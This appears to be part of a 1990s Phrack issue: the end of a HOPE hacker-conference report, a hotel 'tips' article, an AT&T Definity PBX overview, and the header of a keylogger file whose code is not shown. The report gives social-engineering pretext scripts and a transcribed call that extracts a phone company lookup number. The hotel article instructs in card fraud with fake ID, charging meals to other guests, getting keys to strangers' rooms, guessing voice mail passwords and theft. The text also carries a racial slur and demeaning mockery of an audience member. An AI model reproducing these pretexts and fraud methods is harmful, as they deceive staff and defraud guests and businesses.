The panel consisted of only Emmanuel, Supernigger (social engi neer par excellence) and Cheshire Catalyst. The first bits were pretty staid dry conventional conference (ConCon) oriented, but nonetheless, not the kind of info that you expect to find William H. Murray, Executive Consultant handing out.

The best social engineers make friends of their victims. Remem ber: you're playing a role. Think Remington Steele.

Schmooze! "Hey, Jack did you get a load of the blond on Stern last night?"

Justifiable anger: "Your department has caused nothing but head aches. These damn new computers/phones/technology just don't work like the old ones. Now either you help me now or I'm going all the way to Shellhorn and we'll what he says about these kinds of screwups." A contrite response is the desired effect.

Butt headed bosses: "Hey, my boss is all over my butt, can you help me out?"

Management hatred: "I'm sitting here at 3PM working while man agement is on their yachts. Can you tell me . . .?"

Giveaways: "Did you know that so and so is having an affair with so and so? It's true, I swear. By the way, can you tell me how to . . ."

Empathy: "I'm new, haven't been to the training course and they expect me to figure this out all by myself. It's not fair."

Thick Accent: "Hi. Dees computes haf big no wurk. Eet no makedah passurt. Cunu help? Ah, tanku." Good for a quick exchange and a quick good‑bye. Carefully done, people want you off the phone quickly.

Billsf, the almost 40 American phreak who now calls Amsterdam home was wiring up Supernigger's real live demonstration of social engineering against Sprint. A dial tone came over the PA system followed by the pulses to 411.

"Directory Assistance," the operator's male voice was squeezed into a mere three kilohertz bandwidth.

Suddenly, to the immense pleasure of the audience, an ear‑split ting screech a thousand times louder than finger nails on a chalk board not only belched across the sound system but caused instant bleeding in the ears of the innocent but now deaf operator. . Billsf sheepishly grinned. "Just trying to wire up a mute button."

Three hundred people in unison responded: "It doesn't work." No shit.

While Billsf feverishly worked to regain his reputation, Super nigger explained what he was going to do. The phone companies have a service, ostensibly for internal use, called a C/NA. Sort of a reverse directory when you have the number but want to know who the number belongs to and from whence it comes. You can understand that this is not the sort of feature that the phone company wants to have in the hands of a generation of kids who are so apathetic that they don't even know they don't give a shit. Nonetheless, the access to this capability is through an 800 number and a PIN.

Supernigger was going to show us how to acquire such privileged information. Live. "When you get some phone company person as dumb as a bolt on the other end, and you know a few buzz words. you convince them that it is in their best interest and that they are supposed to give you the information."

"I've never done this in front of an audience before, so give me three tries," he explained to an anxiously foaming at the mouth crowd. No one took a cheap pot shot at him: tacit acceptance of his rules.

Ring. Ring.

"Operations. Mary."

"Mary. Hi, this is Don Brewer in social engineering over at CIS, how's it going?" Defuse.

"Oh, fine. I guess."

"I know, I hate working Sundays. Been busy?"

"Nah, no more. Pretty calm. How can I help you?"

"I'm doing a verification and I got systems down. I just need the C/NA. You got it handy?" Long pause.

"Sure, lemme look. Ah, it's 313.424.0900." 700 notebooks ap peared out of nowhere, accompanied by the sound of 700 pens writing down a now‑public phone number.

"Got it. Thanks." The audience is gasping at the stunningly stupid gullibility of Mary. But quiet was essential to the mission.

"Here's the PIN number while we're at it." Double gasp. She's offering the supposedly super secret and secure PIN number? Was this event legal? Had Supernigger gone over the line?

"No, CIS just came up. Thanks anyway."

"Sure you don't need it?"

"Yeah. Thanks. Bye." Click. No need to press the issue. PIN access might be worth a close look from the next computer DA wanna‑be.

An instant shock wave of cacophonous approval worked its way throughout the 750 seat ballroom in less than 2 microseconds. Supernigger had just successfully set himself as a publicly ordained Cyber Christ of Social Engineering. His white robes were on the way. Almost a standing ovation lasted for the better part of a minute by everyone but the narcs in the audience. I don't know if they were telco or Feds of whatever, but I do know that they were the stupidest narcs in the city of New York. This pair of dour thirty something Republicans had sphincters so tight you could mine diamonds out of their ass.

Arms defiantly and defensively crossed, they were stupid enough to sit in the third row center aisle. They never cracked a smile at some of the most entertaining performances I have seen outside of the giant sucking sound that emanates from Ross Perot's ears.

Agree or disagree with hacking and phreaking, this was funny and unrehearsed ad lib material. Fools. So, for fun, I crawled over the legs of the front row and sat in the aisle, a bare eight feet from the narcs. Camera in hand I extended the 3000mm tele‑photo lens which can distinguish the color of a mosquitoes underwear from a kilometer and pointed it in their exact direction. Their childhood acne scars appeared the depth of the Marianna Trench. Click, and the flash went off into their eyes, which at such a short distance should have caused instant blindness. But noth ing. No reaction. Nada. Cold as ice. Rather disappointing, but now we know that almost human looking narc‑bots have been per fected and are being beta tested at hacker cons.

Emmanuel Goldstein is very funny. Maybe that's why Ed Markey and he get along so well. His low key voice rings of a gentler, kinder sarcasm but has a youthful charm despite that he is 30something himself.

"Sometimes you have to call back. Sometimes you have to call over and over to get what you want. You have to keep in mind that the people at the other end of the phone are generally not as intelligent as a powered down computer." He proceeded to prove the point.

Ring ring,

"Directory Assistance."

"Hi."

"Hi."

"Hi."

"Can I help you."

"Yes."

Pause.

"Hello?"

"Hi."

"Hi."

"Can I help you.:

"OK."

Shhhhh. Ssshhh. Quiet. Shhhh. Too damned funny for words.

"Directory Assistance."

"I need some information."

"How can I help you."

"Is this where I get numbers?"

"What number would you like?"

"Information."

"This is information."

"You said directory assistance."

"This is."

"But I need information."

"What information do you need?"

"For information."

"This is information."

"What's the number?"

"For what?"

"Information."

"This is directory assistance."

"I need the number for information."

Pause. Pause.

"What number do you want?"

"For information."

Pause. Guffaws, some stifled, some less so. Funny stuff.

"Hold on please."

Pause.

"Supervisor. May I help you?"

"Hi."

"Hi."

Pause.

"Can I help you?"

"I need the number for information."

"This is directory assistance."

"Hi."

"Hi."

"What's the number for information?"

"This is information."

"What about directory assistance?"

"This is directory assistance."

"But I need information."

"This is information."

"Oh, OK. What's the number for information?"

Pause.

"Ah 411."

"That's it?"

"No. 555.1212 works too."

"So there's two numbers for information?"

"Yes."

"Which one is better?" How this audience kept its cool was beyond me. Me and my compatriots were beside ourselves.

Pause.

"Neither."

"Then why are there two?"

Pause.

"I don't know."

"OK. So I can use 411 or 555.1212."

"That's right."

"And which one should I use?"

Pause.

"411 is faster." Huge guffaws. Ssshhhh. Ssshhhh..

"Oh. What about the ones?"

"Ones?"

"The ones."

"Which ones?"

"The ones at the front of the number."

"Oh, those ones. You don't need ones. Just 411 or 555.1212.."

"My friends say they get to use ones." Big laugh. Shhhhhh.

"That's only for long distance."

"To where?" How does he keep a straight face?

Pause.

"If you wanted 914 information you'd use a one."

"If I wanted to go where?"

"To 914?"

"Where's that?"

"Westchester."

"Oh, Westchester. I have friends there."

Pause.

"Hello?"

"Yes?"

"So I use ones?"

"Yes. A one for the 914 area."

"How?"

Pause.

"Put a one before the number."

"Like 1914. Right?"

"1914.555.1212."

"All of those numbers?"

"Yes."

"That's three ones."

"That's the area code."

"I've heard about those. They confuse me." Rumbling chuckles and laughs throughout the hall.

Pause.

She slowly and carefully explained what an area code is to the howlingly irreverent amusement of the entire crowd except for the fool narcs.

"Thanks. So I can call information and get a number?"

"That's right."

"And there's two numbers I can use?"

"Yes."

"So I got two numbers on one call?"

"Yeah . . ."

"Wow. Thanks. Have a nice day."

* * * * *

Comments heard around HOPE.

Rop Gongrijjp, Hacktic: "The local phone companies use their own social engineers when they can't get their own people to tell them what they need to know."

Sprint is using what they consider to be the greatest access mechanism since the guillotine. For all of us road warriors out there who are forever needing long distance voice service from the Whattownisthis, USA airport, Sprint thinks they have a better mousetrap. No more messing finger entry. No more pass‑codes or PIN's.

I remember at the Washington National Airport last summer I was using my Cable and Wireless long distance access card and entered the PIN and to my surprise, an automated voice came on and said, "Sorry, you entered your PIN with the wrong finger. Please try again."

Sprint says they've solved this thorny cumbersome problem with a service called "The Voice Fone Card". Instead of memorizing another 64 digit long PIN, you just speak into the phone: "Hi, it's me. Give me dial tone or give me death." The voice recog nition circuits masturbate for a while to determine if it's really you or not.

Good idea. But according to Strat, not a good execution. Strat found that someone performing a poor imitation of his voice was enough to break through the front door with ease. Even a poor tape recording played back over a cheap cassette speaker was sufficient to get through Sprint's new whiz‑banger ID system.

Strat laughed that Sprint officials said in defense, "We didn't say it was secure: just convenient."

Smart. Oh, so smart.

* * * * *

"If my generation of the late 60's and early 70's had had the same technology you guys have there never would have been an 80's." This was how I opened my portion of the author's panel.

The authors panel was meant to give HOPE hackers insight into how they are perceived from the so‑called outside. I think the session achieved that well, and I understand the videos will be available soon.

The question of electronic transvestites on AOL came up to every one's enjoyment, and all of us on the panel retorted with a big, "So what?" If you have cyber‑sex with someone on the 'Net and enjoy it, what the hell's the difference? Uncomfortable butt shifting on chairs echoed how the largely male audience likely feels about male‑male sex regardless of distance.

"Imagine," I kinda said, "that is a few years you have a body suit which not only can duplicate your moves exactly, but can touch you in surprisingly private ways when your suit is connect ed to another. In this VR world, you select the gorgeous woman of choice to virtually occupy the other suit, and then the two of you go for it. How do you react when you discover that like Lola, 'I know what I am, and what I am is a man and so's Lola.'" Muted acknowledgment that unisex may come to mean something entirely different in the not too distant future.

"Ooh, ooh, please call on me." I don't mean to be insulting, but purely for identification purposes, the woman behind the voice bordered on five foot four and four hundred pounds. Her bathtub had stretch marks.

I never called on her but that didn't stop her.

"I want to know what you think of how the democratization of the internet is affected by the differences between the government and the people who think that freedom of the net is the most important thing and that government is fucked but for freedom to be free you have to have the democracy behind you which means that the people and the government need to, I mean, you know, and get along but the sub culture of the hackers doesn't help the government but hackers are doing their thing which means that the democracy will not work , now I know that people are laughing and giggling (which they were in waves) but I'm serious about this and I know that I have a bad case of hypomania but the medication is working so it's not a bad as it could be. What do you think?"

I leaned forward into the microphone and gave the only possible answer. "I dunno. Next." The thunderous round of applause which followed my in‑depth response certainly suggested that my answer was correct. Not politically, not technically, but anar chistically. Flexibility counts.

* * * * *

HOPE was attended by around one thousands folks, and the Hotel Filthadelphia still stands. (Aw shucks.)

My single biggest complaint was not that the schedules slipped by an hour or two or three; sessions at conferences like this keep going if the audience is into them and they are found to be educational and productive. So an hour session can run into two if the material and presentations fit the mood. In theory a boring session could find itself kama kazi'd into early melt‑down if you have the monotone bean counter from hell explaining the distributed statistical means of aggregate synthetic transverse digitization in composite analogous integral fruminations. (Yeah, this audience would buy off on that in a hot minute.) But there were not any bad sessions. The single track plenary style attracted hundred of hackers for every event. Emmanuel and friends picked their panels and speakers well. When dealing with sponge‑like minds who want to soak up all they can learn, even in somewhat of a party atmosphere, the response is bound to be good.

My single biggest complaint was the registration nightmare. I'd rather go the DMV and stand in line there than get tagged by the seemingly infinite lines at HOPE. At DefCon early registration was encouraged and the sign up verification kept simple.

For some reason I cannot thoroughly (or even partially) fathom, a two step procedure was chosen. Upon entering, and before the door narcs would let anyone in, each attendee had to be assigned a piece of red cardboard with a number on it. For the first day you could enter the 'exhibits' and auditorium without challenge. But by Day 2 one was expected to wait in line for the better part of a week, have a digital picture taken on a computer tied to a CCD camera, and then receive a legitimate HOPE photo‑ID card. What a mess. I don't have to beat them up on it too bad; they know the whole scheme was rotten to the core.

I waited till near the end of Day 2 when the lines were gone and the show was over. That's when I got my Photo ID card. I used the MIB's photo ID card the rest of the time.

HOPE was a lot of fun and I was sorry to see it end, but as all experiences, there is a certain amount of letdown. After a great vacation, or summer camp, or a cruise, or maybe even after Wood stock, a tear welts up. Now I didn't cry that HOPE was over, but an intense 48 hours with hackers is definitely not your average computer security convention that only rolls from 9AM to Happy Hour. At a hacker conference, you snooze, you lose. You never know what is going to happen next ‑ so much is spontaneous and unplanned ‑ and it generally is highly educational, informative and entertaining.

Computer security folks: you missed an event worth attending. You missed some very funny entertainment. You missed some fine young people dressed in some fine garb. You missed the chance to meet with your perceived 'enemy'. You missed the opportunity to get inside the heads of the generation that knows more about keyboards than Huck Finning in suburbia. You really missed something, and you should join Robert MIB Steele and I at the next hacker conference.

* * * * *

If only I had known.

If only I had known that tornadoes had been dancing up and down 5th avenue I would have stayed at the Hotel Filthadelphia for another night.

La Guardia airport was closed. Flights were up to 6 hours de layed if not out and out canceled. Thousands of stranded travel ers hunkered down for the night. If only I had known.

Wait, wait. Hours to wait. And then, finally, a plane ready and willing to take off and swerve and dive between thunderbolts and twisters and set me on my way home.

My kids were bouncing out of the car windows when my wife picked me up at the airport somewhere in the vicinity of 1AM.

"Not too late are you dear?" Sweet Southern Sarcasm from my Sweet Southern Wife.

"Don't blame me," I said in all seriousness. "It was the hack ers. They caused the whole thing."

* * * * *

Notice: This article is free, and the author encourages responsi ble widespread electronic distribution of the document in full, not piecemeal. No fees may be charged for its use. For hard copy print rights, please contact the author and I'll make you an offer you can't refuse. The author retains full copyrights to the contents and the term Cyber‑Christ.

Winn is the author of "Terminal Compromise", a novel detailing a fictionalized account of a computer war waged on the United States. After selling well as a book‑store‑book, Terminal Com promise was placed on the Global Network as the world's first Novel‑on‑the‑Net Shareware and has become an underground classic. (Gopher TERMCOMP.ZIP)

His new non‑fiction book, "Information Warfare: Chaos on the Electronic Superhighway" is a compelling, non‑technical analy sis of personal privacy, economic and industrial espionage and national security. He calls for the creation of a National Information Policy, a Constitution in Cyberspace and an Elec tronic Bill of Rights.

He may be reached at INTER.PACT, 11511 Pine St., Seminole, FL. 34642. 813‑393‑6600, fax 813‑393‑6361, E‑Mail: P00506@psilink.com.

The ABCs of Better Hotel Staying

==Phrack Magazine==

Volume Five, Issue Forty‑Six, File 24 of 28

****************************************

The ABCs of better H O T E L Staying ...

.by SevenUp (sec@escape.com)

This ARTICLE will give you some information on how to experience a cheaper, safer, and more comfortable stay at your next hotel visit. Always keep in mind that the staff is taught to make your stay as pleasant as possible and fulfil most of your wishes. So it is often a matter of social engineering to reach your goal.

BUSINESS CENTRES

Many good hotels offer business centres. Some business centres just offer "typing service" at high rates, others provide a PC you can use for free. Usually it is a 286 or older, but it should give you the opportunity to copy warez, write your latest article for Phrack or even connect your pocket modem and login to the ‑> Internet.

CREDIT CARDS

If you have your own card and don't mind paying for the room ‑ great! Just use it when you check in ‑ most places require you to have a credit card or won't let you use the phone or won't even let you in. You want to use someone else's card? Be careful! Don't use a stolen card when you check in, or you won't have a safe sleep, fearing that they could come and get you. You would be safer if you tell them upon check in that you misplaces your card and don't need to make long distance calls, and just want to pay with it in the end. This doesn't work always, but sometimes. You also need a faked ID upon check in with the same name as the cardholder.

But overall, using a faked Credit Card in a hotel is one of the easiest ways to get busted.

DIALUPS

Many hotels have dialins for their reservation system. Novells are quite popular. Some hotels also use PC based UNIXes (old System V's mostly) that are often unprotected ‑ no passwords on the root account or even giving you a shell prompt when you call the dialup. Most of them are 7e1 at slow speeds. I won't say more about reservation systems here.

EATING & DANCING

Many hotels have good and relatively expensive restaurants and discos. They just require you to sign the check with a room number and full name. If you know of a guest that is checked in and has secured his account with a credit card who just checked in, just use his name and room number this is probably the biggest lack of security in a hotel.

Also if you don't stay at the hotel but want to go to their disco at night, pretend to be a guest to get in free and save cover charges. They usually believe you.

FUCKING

You've read right, hotels are favorite places to make love. No matter if you bring your IRC date here, pick up a hooker or stay alone and watch the in‑house porn movies. Since many hotels pride themselves in having as much staff as guests, the question is how to get the cute waitresses and maids into your bed. If anyone has experience making them willing without much financial and physical effort, drop me a mail and I will include it in the next list.

GET ALL

Some people love to take all movable parts from the room before checking out. The question is what to take and what not.

The easiest things to take are soaps, shampoo, lotions and Kleenex from the bathroom, since they will be replaced every morning without problems. If you want a bathrobe (usually most expensive item), hide it in your suitcase immediately after check in and then complain that there was just one robe in your room. They will bring you a new one immediately. If you take one when you leave the hotel, they will notice and most likely charge you $100 in your credit card. If you want a bath towel, also don't wait until the end of your stay, but hide it some days earlier. If anyone should ask about it, just tell him that you left it at the pool. Taking magazines from your room is usually no problem, but stay away from removing the TV or blankets!

HYATT GOLD PASSPORT

If you want to check in at a Hyatt, get yourself their Gold Pass before. It is free of charge and will get you free Orange Juice, Coffee and a newspaper in the morning, and also a bigger room.

INTERNET

So you are at a hotel in a new city and want to get on the Internet? There are usually 2 ways: Using a computer and a modem from your hotel room and calling a dialup, or walking to a local university and logging in from there.

If you bring your laptop with built‑in modem, find the dialup in the Internet Dialup list in this issue of Phrack, get an account on the host and can make free local calls from your room, the first choice is probably the best one.

But if you don't have your own account at a local school and want to stay legit, it is often useful to walk to a computer lab in that school and check out their computers. Many school around the world have PC's in their labs which let you do a telnet throughout the world without needing any account or password, or ID to enter the school. You can find them in Hong Kong, New York, Munich and many other major cities; but usually they are unknown to the public or are likely to be closed down (similar to the vending machines, see ‑> SEVENUP).

JACKING OFF

See ‑> Fucking.

KEY

There are plenty of different types of room keys. Some hotels still use old‑fashioned standard keys, but most use programmable keys (plastic cards with "holes" or magnetic stripes, or even the pretty modern metal keys in key‑shape, which allow programming of their magnetic fields. These programmable keys will always be reprogrammed if a guest checks out. On the other hand, if you go to the reception and claim that you lost your key, they will always program a spare key for you. Sometimes they ask you for your birthday, sometimes for your ID (just tell them you left it in your room). This way you could easily get into someone else's room.

LIGHT

Some hotels have quite fancy light systems. If the light won't shine, there is often a box in the entrance where you have to enter your key (or some paper) to activate the main power. This should help saving energy while you are gone, but sometimes even the air condition will turn off, so you have to fool the box with a paper or spare key. Some systems will turn on certain lights just when you insert the key into the door and open it. This is quite unfortunate if your roommate sleeps while you go cruising and clubbing at night. When you return, the light will shine bright and wake him up. The only thing that helps is unscrewing the light bulbs.

MOVIES & TV

I bet many of you will first turn on the TV after entering the room. Some people just stay at hotels that offer HBO in their rooms. Before playing with the remote, read the papers above the TV carefully, because some channels might show in‑house movies that are being charged automatically without any warning. Typical rates are US $6‑9 per movie. Of course you don't want to pay that much, nor do I.

Here are the 3 big S' of movie watching:

Spectravision, Sex movies and Social Engineering.

Spectravision is one of the most popular systems. It usually allows you to watch 5 minutes (sometimes 2) of each movie per day free, enough for some people to come. There are usually a bunch of BNC cables from the wall to your Spectravision box and to your TV. One of the cables delivers the program, the other assures billing. Use your fantasy and try replacing the "billing cable" in the wall! Generally it can also be useful to use a standard cable decoder (cablebox) to decode the pay channels. Just bring one along and if you are lucky, you can watch the movies easily.

If all your technical expertise fails, there is still one way of watching movies for free: Social Engineering. Just watch the movies of your choice and then complain to the reception that you had trouble with the TV, that the Spectravision box or remote control broke, or that you caught the maid watching movies in your room. If you cry a lot, they will usually be nice and remove the movies from your bill.

PHONE CALLS

Be careful before making any phone calls from your room. Many hotels charge you up to $3 for 800 numbers and log all your touch tones (and calling codez!). You can't be sure who will view the logs and abuse your calling card. Also there are often high surcharges for long distance calls, up to 40% on top of AT&T's operator connected charges. There are also hotels that charge a minimum charge per call (up to $5), even if you just talked for 10 seconds long distance. On the other side, some hotels offer free local and 800 calls. Just make sure and read all papers in the room and contact the reception. I also had operators telling me lower rates than the ones that showed up on my bill, so be careful.

RACK RATE

This is the highest possible rate for a room, and the rate that is officially displayed at the reception. You should never pay that rate. If you say you are with a company they will give you a discount of at least 10% (corporate rate). Some hotels even give qualified people and companies discounts of 25% ‑ 50% on the rack rate. When you wonder if you pay too much for your room or think you got a great rate, send me a mail, because I try to keep a database about cheapest prices for selected hotels.

SEVENUP, Coke, Pepsi & Rootbeer:

You are staying at a five‑star hotel. You are thirsty. Your room has a minibar, but the cheapest soda is $4.95. The next supermarket or gas station is 20 miles away. But you need a Coke. What to do now?

TRY finding the gangways where the employers work, live and eat! About every bigger hotel has a kitchen for employees. They also have a vending machine hidden somewhere, with sodas for just 60 cents.

When strolling through the restricted area, just walk straight, slowly and self confident. If someone asks you what you are doing, tell them: a) you are an undercover agent for the IRS and they should get lost. b) you are looking for the vending machine. (telling the truth openly with a broad smile can be more successful than you think!)

c) you are a new employee and ask her to show you around

Also notice the signs and posters in most restricted areas, telling the personnel to be "enthusiastic, punctual, generous to the guest..." Quote these phrases when an employer behaves nasty towards you.

UPGRADES

After first going into your room and checking it out, go back to the reception and complain that the bed is too small, the street noise is too loud, the view is too poor, etc. Quite often they will give you a nicer and bigger room on their executive floor! See also ‑> Hyatt Gold Passport.

VOICE MAIL

Many good hotels offer voice mail to their guests. The most popular system is Meridian Mail. Some hotels have an own dialup for the voicemail, but mostly the hotel just lets you access it through the main PBX operator. If you are unlucky you have to wait 5 rings at a number before the Voice Mail answers.

Most guests don't use Voice Mail. The few that do also keep the default password, which is often the room number or the birthday of the guest. One way to get the birthday is call up front desk, tell them you are with "Mommy's Birthday Cakes Delivery" and have a cake for John Smith. Ask them to check birthday's of all John Smith's etc. Of course there are more ways, just use your social engineering fantasy!

WHERE TO GO?

It is pretty hard to recommend chains in general. But I had quite good experience with Hilton, Hyatt (try getting a room on the Regency floor), Holiday Inn (sometimes really cheap prices and good standard), Shangri‑La (best hotels in Asia) and Marriott (usually nice service). I had less good experience with Sheraton (less discounts), Peninsula, Regent & Four Seasons (all a bit overpriced and not so modern). But there are always exceptions, so tell me about your experience!

I hope some of these tips might be useful for you. Stay tuned and wait for a new issue of travel tips, next time about Airlines!

AT&T Definity System 75/85

==Phrack Magazine==

Volume Five, Issue Forty‑Six, File 25 of 28

****************************************

=================

AT&T Definity System 75/85 Communications System Description & Configuration

=================

Written By: erudite

(armitage@dhp.com)

=====

Intro

=====

Let me introduce you to the AT&T Definity System 75/85. This communications system is a product of the merging of the AT&T System 75 and System 85 architectures. The name Definity came from the two words "definitive" and "infinity".

Let me also tell you that there are many different communications systems out there. (Merlins, AT&Ts) Many many many, I couldn't name them all, but the AT&T systems are nice. I enjoy working with them, and I hope you enjoy this text file.

This System is an advanced business communications system. A Digital Communications Protocol (DCP) allows data communication through data terminal equipment connected to the digital switch. This allows the system to handle data and voice communications simultaneously.

The System can handle up to 1600 lines that supports all digital, hybrid, and analog terminals and equipment. Up to 400 trunks, and up to 400 Automatic Call Distribution (ACD) Agents. The Data switching capacity is up to 800 digital data endpoints, and 160 integrated and combined pooled modem facilities.

~ 510D Personal Terminal or 515‑Type Business Communications Terminal ~ 7404D Terminals

~ 7406D or 7407D Equipped with optional Data Module Base

~ Asynchronous Data Units (ADU) (DCE type device that has rs232c interface) ~ Digital Terminal Data Modules

~ 3270 Data Modules

~ Internal Data Channels

~ Trunk Data Modules (Modular)

~ Processor Data Modules (Modular)

==========

Networking

==========

The Processor Port Network (PPN) always provides the switch processing element (SPE) and port circuits. An Expansion Port Network (EPN) is available to increase line size of any system by allowing you to add additional port circuits. The EPN connects to the PPN over a fiber optic cable that may be up to 1.86 miles remotely situated. It may also by located adjacent to the PPN.

This System may be arranged stand‑alone or you can integrate it into a private network. You can form these types of Networks: ~ Tandem Tie Trunk Network (TTTN)

~ Electronic Tandem Network (ETN)

~ Main/Satellite Configuration

~ Distributed Communications System (DCS)

~ Centralized Attendant Service (CAS)

An Integrated Services Digital Network Primary Rate Interface (ISDN‑PRI) makes it possible for the Definity System to access various private and public network services. With ISDN‑PRI the you can access these services: ~ Call by Call Service Selection

~ Private Network Services

~ Information Forwarding

~ Call Identification Display

‑ Connected Number Display

‑ Connected Party Name Display

‑ Calling and Called Number Record Display

‑ Calling and Called Party Name Display

=============

Configuration

=============

The Actual System is encased in a pair of "cabinets" which have a fiber optic link between them. It is also common to have a stack of about three "cabinets" of a smaller size, for different models.

Shown here is a typical multi‑carrier system with a Processor Port Network (PPN) cabinet and Expansion Port Network (EPN) cabinet.

attendant outside trunks _____ outside private line consoles and lines / data transmission equipment or

\ \ / analog switched network

\ fiber optic | |

| connection | | __ business communication

‑+‑‑‑‑‑‑‑‑‑/~\‑‑‑‑‑‑‑‑+‑‑+ terminals

| AT&T | | AT&T | |

| DEFINITY | | DEFINITY +‑‑‑‑‑‑' ___data

‑‑‑+ SYSTEM | | SYSTEM +‑‑‑‑‑‑‑‑<>‑‑‑‑‑‑[audix] / terminals / | 75/85 | | 75/85 | modular data /

| |___________| |__________+| processor ____ |

manager | | | optional host

terminal | | +‑‑‑‑‑‑‑<>‑‑‑‑‑‑computer or call

/ +‑‑‑‑‑‑‑[]‑‑‑‑‑+, management system

/ asynchronous |

single line data unit \__ data

voice terminals terminals

===================

Voice and Data

Management Features

===================

There are a lot of voice features and services, in fact, too many to list, I will do a run down on all the interesting and useful features and services. It has many Voice Management, Data Management, Network Services, System Management, Hospitality Services, and Call Management Services.

call attendant can use to operate the console more efficiently both inside system users and remote callers to edit, receive, send, write, and forward voice messages.

system.

it to the display console.

‑ Attendant Conference: Allows Attendant to construct a conference call ‑ Terminal Conference: Allows remote user to construct a conference call without attendant assistance.

being interrupted by any of the systems overriding features, and denies ability to gain access to, and or superimpose tones.

is issued by the administrator to a certain extension # for indication of a dedicated private data extension.

the system to dial anyone else, such as the attendant console. the following trunks and more.

~ Voice Grade DS1 Tie Trunks

~ Alternative Voice/Data (AVD) DS1 Tie Trunks

~ Digital Multiplexed Interface (DMI) Tie Trunks ~ Central Office (CO) Trunks

~ ISDN‑PRI Trunks

~ Remote Access Trunks

~ Wide Area Telecommunications Service (WATS) Trunks features and functions that is used for maintenance testing. Such as access to system tones, access to specific trunks, etc.

Note: AT&T designed the Facility Test Calls Feature for testing purposes only, and system maintenance. When properly administered, AT&T claims that the customer is responsible for all security items, and secure system from unauthorized users, and that all users should be aware of handling access codes. AT&T claims they will take no responsibility for poor administration.

it rings down if busy, or if it receives a dial timeout. packet switched local area network that will link with mainframes, workstations, personal computers, printers, terminals, storage devices, and communication devices.

This interface allows connection of the system to an ISDN Network by means of ISDN frame format called PRI.

branch has a Listed Directory Number (LDN).

~ Common Control Switching Arrangement (CCSA)

~ Electronic Tandem Network (ETN)

~ Enhanced Private Switched Communications Service (EPSCS) ~ Tandem Tie Trunk Network (TTTN)

~ Software Defined Network (SDN)

doesn't want to take responsibility for anything that is abused with this feature.

would come in handy.

others calls, again, AT&T does not want to take any legal fees on misuse on this feature.

attendant's assistance.

========

Software

========

The System comes with switched services software, administrative software, and maintenance software. All running on a real‑time operating system.

and services. This also is responsible for relaying any information to the console display.

tasks, and configurations.

keep everything running properly.

=====================

System Administration

=====================

The "Access Code" you will encounter on these systems is a 1, 2, or 3 digit number. The pound (#) and star (*) keys can be used as the first digit of the code. Below you will see a typical Screen Format taken from one of my logs, information aside you can see and get a feel of what the administration side of

the system is like. Page 1 of 4

STATION

Extension: ____

Type: _____ Lock Messages: _ COR: _ Room: _____ Port: ___________ Security Code: ____ COS: _ Jack: _____ Name: ___________ Coverage Path: ___ Cable: _____

FEATURE OPTIONS

LWC Reception? _____ Headset? _ Coverage Msg Retrieval? _ LWC Activation? _ Auto Answer? _ Data Restriction? _ Redirect Notification? _ Idle Appearance Preferences? _ PCOL/TEG Call Alerting? _

Data Module? _ Restrict Last Appearance? _ Display? _

ABBREVIATED DIALINGS

List1: _____ List2: _____ List3: _____

BUTTON ASSIGNMENTS

1: _______ 6: _______

2: _______ 7: _______

3: _______ 8: _______

4: _______ 9: _______

5: _______

==================

System Maintenance

==================

Finally the Maintenance section, where you can see where the errors are logged, where all the alarms are sent, printed, etc.

There are 3 different types of alarms:

console or INADS)

The Error log is reported and can be viewed at The Manager Terminal, as well as the alarm log.

==============

Basic Acronyms

==============

ADU Asynchronous Data Unit

AUDIX Audio Information Exchange

COR Class of Restriction

COS Class of Service

DCP Digital Communications Protocol

DMI Digital Multiplexed Interface

EPN Expansion Port Network

ISDN Integrated Service Digital Network

PPN Processor Post Network

PSDN Packet Switching Data Network

=====

Tones

=====

Here is most of the Tones, mostly either interesting ones or often used tones the System. Here are the tones, the frequencies, and the moderations.

Tone Frequency Pattern

‑‑‑‑ ‑‑‑‑‑‑‑‑‑

Answer Back 3 2225 Hz 3000 on

Answer Back 5 2225 Hz 5000 on

Bridging Warning 440 Hz 1750 on, 12000 off,

650 on; repeated

Busy 480 Hz + 620 Hz 500 on, 500 off; repeated Call Waiting

Internal 440 Hz 200 on

External 440 Hz 200 on, 200 off Attendant 440 Hz 200 on, 200 off

Priority Call 440 Hz 200 on, 200 off, 200 on,

200 off, 200 on

Call Waiting

Ring Back 440 Hz + 480 Hz; 900 on (440 + 480) 440 Hz 200 on (440) 2900 off; repeated Cnrt Att Call

Incoming Call

Identification 480 Hz & 440 Hz 100 on (480), 100 on (440), & 480 Hz 100 on silence;

Dial Zero,

Attendant Transfer,

Test Calls, 440 Hz 100 on, 100 off, 100 on Coverage 440 Hz 600 on

Confirmation 350 Hz + 400 Hz 100 on, 100 off, 100 on,

100 off, 100 on

Dial 250 Hz + 400 Hz Continuous

Executive Override 440 Hz 300 on followed by Intercept 440 Hz & 620 Hz 250 on (440),

250 on (620); repeated

Ringback 440 Hz + 480 Hz 1000 on, 3000 off; repeated Zip 480 500 on

=====

Outro

=====

System 75/85 (multi‑carrier cabinet model) communications system.

I hope you learned something, anywayz, questions comments, system login information, defaults, where to get manuals, or anything else: email me (armitage@dhp.com) and I will get back to you.

‑‑‑‑‑BEGIN PGP PUBLIC KEY BLOCK‑‑‑‑‑

Version: 2.3a

mQCNAi4sHnsAAAEEALjw8E+bOEr1BlCyrBp8f3Ko8yOX5P5uiP+Vor5SamJ33gbu PBSBOc+Xww+93Pjl/R7gMC/c/FFtn+ehHsCm5u3AaIXSmx2ZVW2Xen9vXBRMZRB+ rpC2GdCiFCAdfaHwANHaeuHDmKiP4GqaQuG1M1Xzv9NqW4m70tndGYkB59slAAUT tAdFcnVkaXRl

=Nx+g

‑‑‑‑‑END PGP PUBLIC KEY BLOCK‑‑‑‑‑

Keytrap v1.0 Keyboard Key Logger

==Phrack Magazine==

Volume Five, Issue Forty‑Six, File 26 of 28

****************************************

KEYTRAP v1.0 ‑ Keyboard Key Logger by Dcypher (Dcypher@aol.com)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

THIS PROGRAM MAY NOT BE DISTRIBUTED IN ANY WAY THAT VIOLATES U.S. OR FOREIGN LAW. THIS PROGRAM MUST NOT BE USED TO GAIN UNAUTHORIZED ACCESS TO DATA AND IS NOT INTENDED TO HELP USERS TO VIOLATE THE LAW !

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

You may distributed UNMODIFIED copies of KEYTRAP freely, subject to the above limitations, and provided all files are included in unmodified form; KEYTRAP.EXE, KEYTRAP.DOC

